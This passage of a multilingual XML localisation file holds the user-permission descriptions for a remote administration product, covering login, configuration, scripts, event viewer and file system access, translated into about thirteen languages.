<en>Specifying full control is the equivalent of granting all the above
permissions to the user. Setting this option overrides the individual
options selected above.</en>
<de>Volle Kontrolle ist äquivalent zu alle Berechtigungen oben zuweisen. Diese Option überschreibt alle einzelnen Optionen oben.</de>
<es>Especificar control total es lo mismo que garantizar todos los
permisos anteriores otorgados al usuario. Establecer esta opción ignora las opciones individuales
seleccionadas anteriormente.</es>
<fr>L'indication Accès complet équivaut à accorder toutes les permissions ci-dessus 
à l'utilisateur. L'acivation de cette option srupasse les différentes options choisies ci-dessus.</fr>
<it>La specifica del controllo completo equivale a concedere all'utente tutte le autorizzazioni precedenti. L'impostazione di questa opzione sostituisce le singole opzioni sopra selezionate.</it>
<ru>Установка полного управления эквивалентна предоставлению пользователю всех вышеупомянутых разрешений. При установке данного параметра замещаются индивидуальные опции, выбранные выше.</ru>
<ja>フル コントロールを指定すると、ユーザに上記の権限をすべて付与することになります。このオプションの設定は、上記で選択した個々のオプションより優先されます。</ja>
<zh>指定完全控制相当于授予用户所有以上权限。设置此选项将替代以上选定的单个选项。</zh>
<ko>모든 권한을 지정하는 것은 사용자에게 위의 모든 권한을 부여하는 것과 같습니다. 이 옵션을 설정하면 위에서 선택한 각 옵션은 무시됩니다.</ko>
<en-gb>Specifying full control is the equivalent of granting all the above permissions to the user. Setting this option overrides the individual options selected above.</en-gb>
<hu>A teljes vezérlés megadása az összes fenti engedélynek a felhasználó számára történő 
megadásával egyenértékű. Ennek a lehetőségnek a beállítása felülbírálja a fent
kiválasztott egyedi lehetőségeket.</hu>
<pt-br>A especificação do controle total é equivalente a conceder todas as permissões acima
ao usuário. A configuração desta opção substitui as opções específicas
selecionadas acima.</pt-br>
<nl>Als u deze optie voor volledig beheer inschakelt, worden alle hierboven vermelde toestemmingen aan de gebruiker toegewezen. Als deze optie is ingeschakeld, worden de afzonderlijke opties die hierboven zijn ingesteld, genegeerd.</nl>
</msg>
<msg name="FULL.DESC.TOOLKIT">
<en>Specifying full control is the equivalent of granting all the below permissions to the user.</en>
<de>Volle Kontrolle ist äquivalent zu alle Berechtigungen unten zuweisen.</de>
<es>Especificar control total es lo mismo que garantizar todos los permisos siguientes al usuario.</es>
<fr>L’indication Accès complet équivaut à accorder toutes les permissions ci-dessous à l’utilisateur.</fr>
<it>La specifica del controllo completo equivale a concedere all’utente tutte le autorizzazioni seguenti.</it>
<ru>Установка полного управления эквивалентна предоставлению пользователю всех перечисленных ниже разрешений.</ru>
<ja>フル コントロールを指定すると、ユーザーに下記の権限をすべて付与することになります。</ja>
<zh>指定完全控制相当于向该用户授予以下所有权限。</zh>
<ko>완전한 제어를 지정한다는 것은 곧 사용자에게 아래의 모든 권한을 부여한다는 뜻입니다.</ko>
<en-gb>Specifying full control is the equivalent of granting all the below permissions to the user.</en-gb>
<hu>A teljes vezérlés megadása az összes alábbi engedélynek a felhasználó számára történő megadásával egyenértékű.</hu>
<pt-br>A especificação do controle total é equivalente a conceder todas as permissões abaixo ao usuário.</pt-br>
<nl>Als u deze optie voor volledig beheer inschakelt, worden alle onderstaande toestemmingen aan de gebruiker toegewezen.</nl>
</msg>
<msg name="SEETIPS">
<en>Roll your mouse over the checkboxes for a description of each item.</en>
<de>Bewegen sie die Maus über die Checkboxen für einzelne Beschreibungen.</de>
<es>Desplace el puntero sobre las casillas de verificación para obtener una descripción de cada elemento.</es>
<fr>Faites glisser votre souris au-dessus des cases à cocher pour une description de chaque élément.</fr>
<it>Scorrere il mouse sulle caselle di controllo per visualizzare le descrizioni delle opzioni corrispondenti.</it>
<ru>Если навести мышь на любой флажок, то можно увидеть описание соответствующего элемента.</ru>
<ja>各項目の説明を表示するには、チェックボックス上でマウスを動かします。</ja>
<zh>在复选框上滚动鼠标,以查看每个项目的说明。</zh>
<ko>각 항목에 대한 설명을 보려면 해당 확인란 위에서 마우스를 움직입니다.</ko>
<en-gb>Roll your mouse over the checkboxes for a description of each item.</en-gb>
<hu>Húzza az egeret a jelölőnégyzetek fölé, hogy leírást kapjon az egyes elemekről.</hu>
<pt-br>Passe o cursor sobre as caixas de seleção para obter uma descrição de cada item.</pt-br>
<nl>Plaats de muisaanwijzer op een selectievakje om een beschrijving van de desbetreffende optie op het scherm weer te geven.</nl>
</msg>
<msg name="BASIC">
<en>Login</en>
<de>Anmelden</de>
<es>Registro</es>
<fr>Login</fr>
<it>Accesso</it>
<ru>Вход</ru>
<ja>ログイン</ja>
<zh>登录</zh>
<ko>로그인</ko>
<en-gb>Login</en-gb>
<hu>Bejelentkezés</hu>
<pt-br>Login</pt-br>
<nl>Aanmelden</nl>
</msg>
<msg name="BASIC.R">
<en>Allows the user to log in to %PRODUCTNAME. By revoking this permission
you can temporarily disable a user's access to %PRODUCTNAME without having
to clear any other permissions.</en>
<de>Erlaubt dem Benutzer die Anmeldung bei %PRODUCTNAME. Wenn sie diese Option deaktivieren, können sie den Zugriff auf %PRODUCTNAME für den Benutzer temporär deaktivieren, ohne die anderen Berechtigungen zu löschen.</de>
<es>Permite al usuario iniciar sesión en %PRODUCTNAME. Si revoca este permiso
podrá deshabilitar temporalmente el acceso de un usuario a %PRODUCTNAME sin
eliminar ningún otro permiso.</es>
<fr>Autoriser l'utilisateur à ouvrir une session dans %PRODUCTNAME. En révocant cette permission
vous pouvez temporairement désactivé un accès utilisateur à %PRODUCTNAME sans devoir
désactiver d'autres permissions.</fr>
<it>Consente all'utente di accedere a %PRODUCTNAME. La revoca di questa autorizzazione consente di disattivare temporaneamente l'accesso di un utente a %PRODUCTNAME senza annullare altre autorizzazioni.</it>
<ru>Позволяет пользователю войти в программу %PRODUCTNAME. Отзыв данного разрешения может временно блокировать доступ пользователя к %PRODUCTNAME без необходимости отмены любых других разрешений.</ru>
<ja>このユーザに対して、%PRODUCTNAME へのログインを許可します。この権限を取り消すと、%PRODUCTNAME へのユーザのアクセスを一時的に無効にすることができます。この場合、他の権限の取り消しは不要です。</ja>
<zh>允许用户登录 %PRODUCTNAME。通过撤消此权限,您可以暂时禁止用户访问 %PRODUCTNAME 而无需清除任何其他权限。</zh>
<ko>%PRODUCTNAME에 로그인할 수 있습니다. 이 권한을 취소하면 다른 권한을 지우지 않고도 %PRODUCTNAME에 대한 사용자의 액세스를 일시적으로 사용 불가능으로 설정할 수 있습니다.</ko>
<en-gb>Allows the user to log in to %PRODUCTNAME. By revoking this permission you can temporarily disable a user's access to %PRODUCTNAME without having to clear any other permissions.</en-gb>
<hu>Lehetővé teszi, hogy a felhasználó bejelentkezzen a %PRODUCTNAME -be. Ennek az engedélynek a visszavonásával
ideiglenesen megakadályozhatja a felhasználónak a bejelentkezését a %PRODUCTNAME-be, anélkül, hogy 
bármilyen más engedélyt törölnie kellene.</hu>
<pt-br>Permite que o usuário faça login no %PRODUCTNAME.  Ao revogar esta permissão,
você pode temporariamente desabilitar o acesso de um usuário ao %PRODUCTNAME sem precisar
limpar nenhuma outra permissão.</pt-br>
<nl>Als deze optie is ingeschakeld, kan de gebruiker zich aanmelden bij %PRODUCTNAME. Als u deze toestemming intrekt, kunt u de toegang tot %PRODUCTNAME voor deze gebruiker tijdelijk uitschakelen zonder dat u andere toestemmingen moet wijzigen of uitschakelen.</nl>
</msg>
<msg name="CONFIGURE">
<en>Configuration</en>
<de>Konfiguration</de>
<es>Configuración</es>
<fr>Configuration</fr>
<it>Configurazione</it>
<ru>Конфигурация</ru>
<ja>設定</ja>
<zh>配置</zh>
<ko>구성</ko>
<en-gb>Configuration</en-gb>
<hu>Konfiguráció</hu>
<pt-br>Configuração</pt-br>
<nl>Configuratie</nl>
</msg>
<msg name="CONFIGURE.R">
<en>Allows the user to view %PRODUCTNAME configuration data, including FTP settings.</en>
<de>Erlaubt dem Benutzer die %PRODUCTNAME Konfiguration einschließlich FTP-Einstellungen anzuzeigen.</de>
<es>Permite al usuario ver los datos de configuración de %PRODUCTNAME, incluida la configuración de la FTP.</es>
<fr>Autorise l'utilisateur à consulter les données de configuration de %PRODUCTNAME, y compris les paramètres FTP.</fr>
<it>Consente all'utente di visualizzare i dati di configurazione di %PRODUCTNAME, comprese le impostazioni FTP.</it>
<ru>Разрешает пользователю просматривать данные конфигурации %PRODUCTNAME, включая настройка FTP.</ru>
<ja>このユーザに対して、FTP設定を含む %PRODUCTNAME 構成データの表示を許可します。</ja>
<zh>允许用户查看 %PRODUCTNAME 配置数据,其中包括 FTP 设置。</zh>
<ko>FTP 설정을 포함하여 %PRODUCTNAME 구성 데이터를 볼 수 있습니다.</ko>
<en-gb>Allows the user to view %PRODUCTNAME configuration data, including FTP settings.</en-gb>
<hu>Lehetővé teszi a felhasználó számára, hogy megtekintse a %PRODUCTNAME konfigurációs adatait, beleértve az FTP beállításokat is.</hu>
<pt-br>Permite que o usuário exiba os dados de configuração do %PRODUCTNAME, incluindo configurações de FTP.</pt-br>
<nl>Als deze optie is ingeschakeld, kan de gebruiker de configuratiegegevens van %PRODUCTNAME weergeven, inclusief de FTP-instellingen.</nl>
</msg>
<msg brand="LMI" name="CONFIGURE.R">
<en>Allows the user to view %PRODUCTNAME preferences. You must be an Adminstrator to change this setting.</en>
<de>Erlaubt dem Benutzer die %PRODUCTNAME Konfiguration einschließlich FTP-Einstellungen anzuzeigen.</de>
<es>Permite al usuario ver los datos de configuración de %PRODUCTNAME, incluida la configuración de la FTP.</es>
<fr>Autorise l'utilisateur à consulter les données de configuration de %PRODUCTNAME, y compris les paramètres FTP.</fr>
<it>Consente all'utente di visualizzare i dati di configurazione di %PRODUCTNAME, comprese le impostazioni FTP.</it>
<ru>Разрешает пользователю просматривать данные конфигурации %PRODUCTNAME, включая настройка FTP.</ru>
<ja>このユーザに対して、FTP設定を含む %PRODUCTNAME 構成データの表示を許可します。</ja>
<zh>允许用户查看 %PRODUCTNAME 配置数据,其中包括 FTP 设置。</zh>
<ko>FTP 설정을 포함하여 %PRODUCTNAME 구성 데이터를 볼 수 있습니다.</ko>
<en-gb>Allows the user to view %PRODUCTNAME configuration data, including FTP settings.</en-gb>
<hu>Lehetővé teszi a felhasználó számára, hogy megtekintse a %PRODUCTNAME konfigurációs adatait, beleértve az FTP beállításokat is.</hu>
<pt-br>Permite que o usuário exiba os dados de configuração do %PRODUCTNAME, incluindo configurações de FTP.</pt-br>
<nl>Als deze optie is ingeschakeld, kan de gebruiker de configuratiegegevens van %PRODUCTNAME weergeven, inclusief de FTP-instellingen.</nl>
</msg>
<msg name="CONFIGURE.W">
<en>Allows the user to change %PRODUCTNAME configuration data under the
preferences menu; set email alerts; modify FTP server and user settings;
replace the product license; use network maintenance to install/start/stop
%PRODUCTNAME on remote computers; clear security lockout lists; create and
install SSL certificates.</en>
<de>Erlaubt dem Benutzer die %PRODUCTNAME Konfiguration im Menü Einstellungen zu ändern; Benachrichtigungen per Email setzen; FTP Server- und Benutzereinstellungen ändern; Produktlizenz ändern; Netzwerkinstallation und Wartung für die Installation/Start/Stop von %PRODUCTNAME auf Remote-Computern verwenden; löschen der Sperrlisten; erstellen und installieren von SSL Zertifikaten.</de>
<es>Permite al usuario cambiar los datos de configuración de %PRODUCTNAME 
del menú de preferencias; establecer envío de avisos al correo electrónico; modificar la configuración del usuario y del servidor FTP;
sustituir la licencia del producto, utilizar el mantenimiento de la red para instalar/iniciar/finalizar
%PRODUCTNAME en ordenadores remotos; limpiar las listas de bloqueo de seguridad; crear e
instalar certificados SSL.</es>
<fr>Autorise l'utilisateur à changer les données de configuration de %PRODUCTNAME dans le
menu des préférences ; configurer les alertes email ; modifiez les paramètres FTP du serveur  et des utilisateurs;
changer la license du produit; utiliser la maintenance réseau  pour installer/démarrer/arrêter
%PRODUCTNAME sur les ordinateurs distants ;effacer les listes de verrouillage de sécurité ; créer et
installer les certificats SSL.</fr>
<it>Consente all'utente di modificare i dati di configurazione di %PRODUCTNAME nel menu delle preferenze, impostare avvisi e-mail, modificare le impostazioni del server FTP e degli utenti, sostituire la licenza del prodotto, utilizzare la manutenzione di rete per installare/avviare/chiudere %PRODUCTNAME sui computer remoti, cancellare gli elenchi dei blocchi di protezione, creare e installare certificati SSL.</it>
<ru>Разрешает пользователю изменять данные конфигурации %PRODUCTNAME в меню настроек, устанавливать оповещения по электронной почте, изменять параметры FTP-сервера и пользователя, менять лицензию продукта, использовать сеть для установки, запуска или остановки %PRODUCTNAME на удаленных компьютерах, очищать списки блокировок безопасности, а также создавать и устанавливать SSL-сертификаты.</ru>
<ja>このユーザに対して、[設定] メニューの下の %PRODUCTNAME 設定データの変更、電子メール アラートの設定、FTP サーバーとユーザ設定の変更、製品ライセンスの変更、リモート コンピュータでのネットワーク メンテナンスを使用した %PRODUCTNAME のインストール、起動、終了、セキュリティ ロックアウト リストの消去、SSL 証明書の作成とインストールを許可します。</ja>
<zh>允许用户更改首选项菜单下的 %PRODUCTNAME 配置数据;设置电子邮件警报;修改 FTP 服务器和用户设置;替换产品许可证;使用网络维护在远程计算机上安装/启动/停止 %PRODUCTNAME;清除安全锁定列表;创建和安装 SSL 证书。</zh>
<ko>기본 설정 메뉴에서 %PRODUCTNAME 구성 데이터를 변경할 수 있습니다. 즉, 전자 메일 경고를 설정하고 FTP 서버 및 사용자 설정을 수정하고 제품 라이센스를 바꿀 수 있으며 원격 컴퓨터에서 네트워크 유지관리를 사용하여 %PRODUCTNAME 설치/시작/중지를 수행하고 보안 잠금 목록을 지우며 SSL 인증서를 만들거나 설치할 수 있습니다.</ko>
<en-gb>Allows the user to change %PRODUCTNAME configuration data under the preferences menu, set e-mail alerts, modify FTP server and user settings, replace the product licence, use network maintenance to install/start/stop %PRODUCTNAME on remote computers, clear security lockout lists, create and install SSL certificates.</en-gb>
<hu>Lehetővé teszi a felhasználó számára, hogy módosítsa a %PRODUCTNAME konfigurációs adatait
a beállítások menüben; e-mail riasztásokat állítson be; módosítsa az FTP kiszolgáló és felhasználói beállításokat;
lecserélje a termék licenszét; hálózati karbantartással telepítse/indítsa/leállítsa
a %PRODUCTNAME terméket a távoli számítógépeken, törölje a zárolási listákat; SSL tanúsítványokat
hozzon létre és telepítsen.</hu>
<pt-br>Permite que o usuário altere os dados de configuração do %PRODUCTNAME no menu de 
de preferências; defina alertas de email, modifique servidor FTP e configurações do usuário;
substitua a licença do produto; use manutenção de rede para instalar/iniciar/interromper
o %PRODUCTNAME em computadores remotos; limpe listas de bloqueio de segurança; crie e
instale certificados SSL.</pt-br>
<nl>Als deze optie is ingeschakeld, kan de gebruiker het volgende doen: de configuratiegegevens van %PRODUCTNAME wijzigen via het menu voor de voorkeurinstellingen, waarschuwingsmeldingen via e-mail instellen, de instellingen van de FTP-server en de gebruiker wijzigen, de productlicentie vervangen, de functies voor het netwerkonderhoud gebruiken om %PRODUCTNAME op externe computers te installeren/starten/sluiten, de lijsten met beveiligingsblokkeringen wissen en SSL-certificaten maken en installeren.</nl>
</msg>
<msg brand="LMI" name="CONFIGURE.W">
<en>Allows the user to change %PRODUCTNAME preferences. You must be an Adminstrator to change this setting.</en>
<de>Erlaubt dem Benutzer die %PRODUCTNAME Konfiguration im Menü Einstellungen zu ändern; Benachrichtigungen per Email setzen; FTP Server- und Benutzereinstellungen ändern; Produktlizenz ändern; Netzwerkinstallation und Wartung für die Installation/Start/Stop von %PRODUCTNAME auf Remote-Computern verwenden; löschen der Sperrlisten; erstellen und installieren von SSL Zertifikaten.</de>
<es>Permite al usuario cambiar los datos de configuración de %PRODUCTNAME 
del menú de preferencias; establecer envío de avisos al correo electrónico; modificar la configuración del usuario y del servidor FTP;
sustituir la licencia del producto, utilizar el mantenimiento de la red para instalar/iniciar/finalizar
%PRODUCTNAME en ordenadores remotos; limpiar las listas de bloqueo de seguridad; crear e
instalar certificados SSL.</es>
<fr>Autorise l'utilisateur à changer les données de configuration de %PRODUCTNAME dans le
menu des préférences ; configurer les alertes email ; modifiez les paramètres FTP du serveur  et des utilisateurs;
changer la license du produit; utiliser la maintenance réseau  pour installer/démarrer/arrêter
%PRODUCTNAME sur les ordinateurs distants ;effacer les listes de verrouillage de sécurité ; créer et
installer les certificats SSL.</fr>
<it>Consente all'utente di modificare i dati di configurazione di %PRODUCTNAME nel menu delle preferenze, impostare avvisi e-mail, modificare le impostazioni del server FTP e degli utenti, sostituire la licenza del prodotto, utilizzare la manutenzione di rete per installare/avviare/chiudere %PRODUCTNAME sui computer remoti, cancellare gli elenchi dei blocchi di protezione, creare e installare certificati SSL.</it>
<ru>Разрешает пользователю изменять данные конфигурации %PRODUCTNAME в меню настроек, устанавливать оповещения по электронной почте, изменять параметры FTP-сервера и пользователя, менять лицензию продукта, использовать сеть для установки, запуска или остановки %PRODUCTNAME на удаленных компьютерах, очищать списки блокировок безопасности, а также создавать и устанавливать SSL-сертификаты.</ru>
<ja>このユーザに対して、[設定] メニューの下の %PRODUCTNAME 設定データの変更、電子メール アラートの設定、FTP サーバーとユーザ設定の変更、製品ライセンスの変更、リモート コンピュータでのネットワーク メンテナンスを使用した %PRODUCTNAME のインストール、起動、終了、セキュリティ ロックアウト リストの消去、SSL 証明書の作成とインストールを許可します。</ja>
<zh>允许用户更改首选项菜单下的 %PRODUCTNAME 配置数据;设置电子邮件警报;修改 FTP 服务器和用户设置;替换产品许可证;使用网络维护在远程计算机上安装/启动/停止 %PRODUCTNAME;清除安全锁定列表;创建和安装 SSL 证书。</zh>
<ko>기본 설정 메뉴에서 %PRODUCTNAME 구성 데이터를 변경할 수 있습니다. 즉, 전자 메일 경고를 설정하고 FTP 서버 및 사용자 설정을 수정하고 제품 라이센스를 바꿀 수 있으며 원격 컴퓨터에서 네트워크 유지관리를 사용하여 %PRODUCTNAME 설치/시작/중지를 수행하고 보안 잠금 목록을 지우며 SSL 인증서를 만들거나 설치할 수 있습니다.</ko>
<en-gb>Allows the user to change %PRODUCTNAME configuration data under the preferences menu, set e-mail alerts, modify FTP server and user settings, replace the product licence, use network maintenance to install/start/stop %PRODUCTNAME on remote computers, clear security lockout lists, create and install SSL certificates.</en-gb>
<hu>Lehetővé teszi a felhasználó számára, hogy módosítsa a %PRODUCTNAME konfigurációs adatait
a beállítások menüben; e-mail riasztásokat állítson be; módosítsa az FTP kiszolgáló és felhasználói beállításokat;
lecserélje a termék licenszét; hálózati karbantartással telepítse/indítsa/leállítsa
a %PRODUCTNAME terméket a távoli számítógépeken, törölje a zárolási listákat; SSL tanúsítványokat
hozzon létre és telepítsen.</hu>
<pt-br>Permite que o usuário altere os dados de configuração do %PRODUCTNAME no menu de 
de preferências; defina alertas de email, modifique servidor FTP e configurações do usuário;
substitua a licença do produto; use manutenção de rede para instalar/iniciar/interromper
o %PRODUCTNAME em computadores remotos; limpe listas de bloqueio de segurança; crie e
instale certificados SSL.</pt-br>
<nl>Als deze optie is ingeschakeld, kan de gebruiker het volgende doen: de configuratiegegevens van %PRODUCTNAME wijzigen via het menu voor de voorkeurinstellingen, waarschuwingsmeldingen via e-mail instellen, de instellingen van de FTP-server en de gebruiker wijzigen, de productlicentie vervangen, de functies voor het netwerkonderhoud gebruiken om %PRODUCTNAME op externe computers te installeren/starten/sluiten, de lijsten met beveiligingsblokkeringen wissen en SSL-certificaten maken en installeren.</nl>
</msg>
<msg name="CONFIGURE.D">
<en>Allows the user to delete email alert settings; delete FTP servers;
delete, kick &amp; ban FTP users; and clear FTP statistics.</en>
<de>Erlaubt dem Benutzer Emailbenachrichtigungen zu löschen; FTP Server löschen; kick &amp; ban FTP Benutzer; FTP Statistik löschen.</de>
<es>Permite al usuario eliminar la configuración de envío de avisos; eliminar servidores FTP;
eliminar, expulsar &amp; vetar usuarios FTP; y limpiar estadísticas FTP.</es>
<fr>Autorise l'utilisateur à supprimer les paramètres d'alertes email; d'effacer les serveurs FTP;
de refouler &amp; proscrire les utiisateurs FTP; et d'effecer les statistiques FTP.</fr>
<it>Consente all'utente di eliminare le impostazioni per gli avvisi e-mail, i server FTP e gli utenti FTP o di effettuare il kick&amp;ban di questi ultimi e di cancellare le statistiche FTP.</it>
<ru>Позволяет пользователю удалять настройки оповещений по электронной почте, удалять FTP-серверы, удалять, исключать и запрещать FTP-пользователей, а также очищать статистику FTP.</ru>
<ja>このユーザに対して、電子メール アラート設定の削除、FTP サーバーの削除、FTP ユーザの削除と Kick &amp; Ban (切断および接続拒否)、FTP 統計の消去を許可します。</ja>
<zh>允许用户删除电子邮件警报设置;删除 FTP 服务器;删除、踢出和禁止 FTP 用户;清除 FTP 统计信息。</zh>
<ko>이 기능을 사용하여 전자 메일 경고 설정과 FTP 서버를 삭제하고 FTP 사용자를 삭제 및 차단할 수 있으며 FTP 통계를 지울 수 있습니다.</ko>
<en-gb>Allows the user to delete e-mail alert settings, delete FTP servers, delete, kick &amp; ban FTP users and clear FTP statistics.</en-gb>
<hu>Lehetővé teszi a felhasználó számára, hogy törölje az e-mail riasztási beállításokat, és törölje az FTP kiszolgálókat;
törölje, kirúgja és eltiltsa az FTP felhasználókat, és törölje az FTP statisztikákat.</hu>
<pt-br>Permite que o usuário exclua configurações do alerta de email; exclua servidores d FTP;
exclua e elimine usuários do FTP; e limpe estatísticas do FTP.</pt-br>
<nl>Als deze optie is ingeschakeld, kan de gebruiker het volgende doen: waarschuwingsmeldingen via e-mail verwijderen, FTP-servers verwijderen, FTP-gebruikers verwijderen, uitsluiten en afwijzen, en de FTP-statistieken wissen.</nl>
</msg>
<msg name="SCRIPTS">
<en>Scripts</en>
<de>Scripts</de>
<es>Scripts</es>
<fr>Scripts</fr>
<it>Script</it>
<ru>Сценарии</ru>
<ja>スクリプト</ja>
<zh>脚本</zh>
<ko>스크립트</ko>
<en-gb>Scripts</en-gb>
<hu>Parancsfájlok</hu>
<pt-br>Scripts</pt-br>
<nl>Scripts</nl>
</msg>
<msg name="SCRIPTS.R">
<en>Allows the user to view and execute monitoring and maintenance scripts.</en>
<de>Erlaubt dem Benutzer Überwachungs- und Verwaltungs-Scripts anzuzeigen und auszuführen.</de>
<es>Permite al usuario ver y ejecutar el control y el mantenimiento de scripts.</es>
<fr>Autorise l'utilisateur à consulter et  à exécuter des scripts de surveillance et de maintenance.</fr>
<it>Consente all'utente di visualizzare ed eseguire gli script di monitoraggio e di manutenzione.</it>
<ru>Позволяет пользователю просматривать и выполнять сценарии наблюдения и обслуживания.</ru>
<ja>このユーザに対して、モニタリング スクリプトとメンテナンス スクリプトの表示と実行を許可します。</ja>
<zh>允许用户查看并执行监视和维护脚本。</zh>
<ko>모니터링을 확인 및 실행하고 스크립트를 유지관리할 수 있습니다.</ko>
<en-gb>Allows the user to view and execute monitoring and maintenance scripts.</en-gb>
<hu>Lehetővé teszi a felhasználó számára, hogy megtekintse és végrehajtsa a figyelő és karbantartó parancsfájlokat.</hu>
<pt-br>Permite que o usuário exiba e execute os scripts de monitoramento e manutenção.</pt-br>
<nl>Als deze optie is ingeschakeld, kan de gebruiker controle- en onderhoudsscripts weergeven en uitvoeren.</nl>
</msg>
<msg name="SCRIPTS.W">
<en>Allows the user to edit, compile, enable/disable monitoring and maintenance scripts.</en>
<de>Erlaubt dem Benutzer Überwachungs- und Verwaltungs-Scripts zu bearbeiten, kompilieren, aktivieren/deaktivieren.</de>
<es>Permite al usuario editar, compilar, (des)habilitar el control y el mantenimiento de scripts.</es>
<fr>Autorise l'utilisateur d'éditer, de compiler, d'activer/désactiver des scripts de surveillance et de maintenance.</fr>
<it>Consente all'utente di modificare, compilare, attivare/disattivare gli script di monitoraggio e di manutenzione.</it>
<ru>Позволяет пользователю изменять, компилировать, а также включать или отключать сценарии мониторинга и обслуживания.</ru>
<ja>このユーザに対して、モニタリング スクリプトとメンテナンス スクリプトの編集、コンパイル、有効化/無効化を許可します。</ja>
<zh>允许用户编辑、编译、启用/禁用监视和维护脚本。</zh>
<ko>모니터링을 편집, 컴파일, 사용/사용 불가능으로 설정하고 스크립트를 유지관리할 수 있습니다.</ko>
<en-gb>Allows the user to edit, compile and enable/disable monitoring and maintenance scripts.</en-gb>
<hu>Lehetővé teszi a felhasználó számára, hogy összeállítsa, engedélyezze, letiltsa a figyelő és karbantartó parancsfájlokat.</hu>
<pt-br>Permite que o usuário edite, compile, habilite/desabilite os scripts de monitoramento e manutenção.</pt-br>
<nl>Als deze optie is ingeschakeld, kan de gebruiker controle- en onderhoudsscripts bewerken, compileren, inschakelen en uitschakelen.</nl>
</msg>
<msg name="SCRIPTS.D">
<en>Allows the user to delete monitoring and maintenance scripts.</en>
<de>Erlaubt dem Benutzer Überwachungs- und Verwaltungs-Scripts zu löschen.</de>
<es>Permite al usuario eliminar el control y el mantenimiento de scripts.</es>
<fr>Autorise l'utilisateur à effacer des scripts de surveillance et de maintenance.</fr>
<it>Consente all'utente di eliminare gli script di monitoraggio e di manutenzione.</it>
<ru>Позволяет пользователю удалять сценарии мониторинга и обслуживания.</ru>
<ja>このユーザに対して、モニタリング スクリプトとメンテナンス スクリプトの削除を許可します。</ja>
<zh>允许用户删除监视和维护脚本。</zh>
<ko>모니터링을 삭제하고 스크립트를 유지관리할 수 있습니다.</ko>
<en-gb>Allows the user to delete monitoring and maintenance scripts.</en-gb>
<hu>Lehetővé teszi a felhasználó számára, hogy törölje a figyelő és karbantartó parancsfájlokat.</hu>
<pt-br>Permite que o usuário exclua os scripts de monitoramento e manutenção.</pt-br>
<nl>Als deze optie is ingeschakeld, kan de gebruiker controle- en onderhoudsscripts verwijderen.</nl>
</msg>
<msg name="EVENTVIEW">
<en>Event Viewer</en>
<de>Ereignisanzeige</de>
<es>Visor de sucesos</es>
<fr>Visionneurse d'événements</fr>
<it>Visualizzatore eventi</it>
<ru>Окно просмотра события</ru>
<ja>イベント ビューア</ja>
<zh>事件查看器</zh>
<ko>이벤트 뷰어</ko>
<en-gb>Event Viewer</en-gb>
<hu>Eseményfigyelő</hu>
<pt-br>Visualizador de eventos</pt-br>
<nl>Viewer voor gebeurtenissen</nl>
</msg>
<msg name="EVENTVIEW.R">
<en>Allows the user to read event log entries.</en>
<de>Erlaubt dem Benutzer Einträge in der Ereignisprotokoll zu lesen.</de>
<es>Permite al usuario leer entradas de registro de sucesos.</es>
<fr>Autorise l'utilisateur de lire les entrées du journal d'événements.</fr>
<it>Consente all'utente di visualizzare le voci del registro eventi.</it>
<ru>Позволяет пользователю читать записи журналов событий.</ru>
<ja>このユーザに対して、イベント ログ エントリの読み取りを許可します。</ja>
<zh>允许用户读取事件日志条目。</zh>
<ko>이벤트 로그 항목을 읽을 수 있습니다.</ko>
<en-gb>Allows the user to read event log entries.</en-gb>
<hu>Lehetővé teszi, hogy a felhasználó elolvassa az eseménynapló bejegyzéseit.</hu>
<pt-br>Permite que o usuário leia entradas do log de eventos.</pt-br>
<nl>Als deze optie is ingeschakeld, kan de gebruiker de items in het gebeurtenislogboek weergeven en bekijken.</nl>
</msg>
<msg name="EVENTVIEW.D">
<en>Allows the user to clear &amp; backup event logs.</en>
<de>Erlaubt dem Benutzer Ereignisprotokolle zu löschen und zu sichern.</de>
<es>Permite al usuario limpiar &amp; registros de copias de seguridad de sucesos.</es>
<fr>Autorise l'utilisateur à effacer &amp; sauvegarder le journal d'événements</fr>
<it>Consente all'utente di cancellare o di eseguire il backup dei registri eventi.</it>
<ru>Позволяет пользователю очищать и резервировать записи журналов событий.</ru>
<ja>このユーザに対して、イベント ログの消去 &amp; バックアップを許可します。</ja>
<zh>允许用户清除和备份事件日志。</zh>
<ko>이벤트 로그를 삭제 및 백업할 수 있습니다.</ko>
<en-gb>Allows the user to clear &amp; backup event logs.</en-gb>
<hu>Lehetővé teszi, hogy a felhasználó törölje és másolatot készítsen az eseménynaplóról.</hu>
<pt-br>Permite que o usuário limpe e faça backup dos logs de eventos.</pt-br>
<nl>Als deze optie is ingeschakeld, kan de gebruiker gebeurtenislogboeken wissen en hiervan back-ups maken.</nl>
</msg>
<msg name="FILE">
<en>File System</en>
<de>Dateisystem</de>
<es>Sistema de archivos</es>
<fr>Gestionnaire de fichiers</fr>
<it>File system</it>
<ru>Файловая система</ru>
<ja>ファイル システム</ja>
<zh>文件系统</zh>
<ko>파일 시스템</ko>
<en-gb>File System</en-gb>
<hu>Fájlrendszer</hu>
<pt-br>Sistema de arquivo</pt-br>
<nl>Bestandssysteem</nl>
</msg>
<msg name="FILE.R">
<en>Allows the user to list drives, folders and files; read and download files;
view file attributes, shared folder information &amp; access control lists; and
use the file transfer applet.</en>
<de>Erlaubt dem Benutzer Laufwerke, Ordner und Dateien anzuzeigen; lesen und downloaden von Dateien; Dateiattribute anzeigen; Eigenschaften von Ordnerfreigaben und ACLs anzeigen; Dateitransfer verwenden.</de>
<es>Permite al usuario crear listas de unidades, carpetas y archivos, leer y descargar archivos;
ver atributos de archivos, información de carpetas compartidas &amp; listas de control de acceso; y
utilizar el programa de transferencia de archivos.</es>
<fr>Autorise l'utilisateur de voir la liste des lecteurs , des dossiers et des fichiers; de lire et téléchargez des fichiers;
de voir les attributs des fichiers, de partager les informations de dossier &amp; les listes
de contrôle d'accès; et d'utiliser l'applet de transfert de fichiers.</fr>
<it>Consente all'utente di elencare le unità, le cartelle e i file, di visualizzare ed effettuare il download di file, nonché di visualizzare gli attributi dei file, i dati delle cartelle condivise e gli elenchi di controllo degli accessi e di utilizzare l'applet di trasferimento dei file.</it>
<ru>Позволяет пользователю выводить списки дисков, папок и файлов, читать и загружать файлы, просматривать атрибуты файлов, информацию об общих папках и списках управления доступом, а также использовать апплет передачи файлов.</ru>
<ja>このユーザに対して、ドライブ、フォルダ、ファイルのリスト化、ファイルの読み取り取りとダウンロード、ファイル属性、共有フォルダ情報、アクセス コントロール リストの表示、ファイル転送アプレットの使用を許可します。</ja>
<zh>允许用户列出驱动器、文件夹和文件;读取和下载文件;查看文件属性、共享文件夹信息和访问控制列表;使用文件传输小程序。</zh>
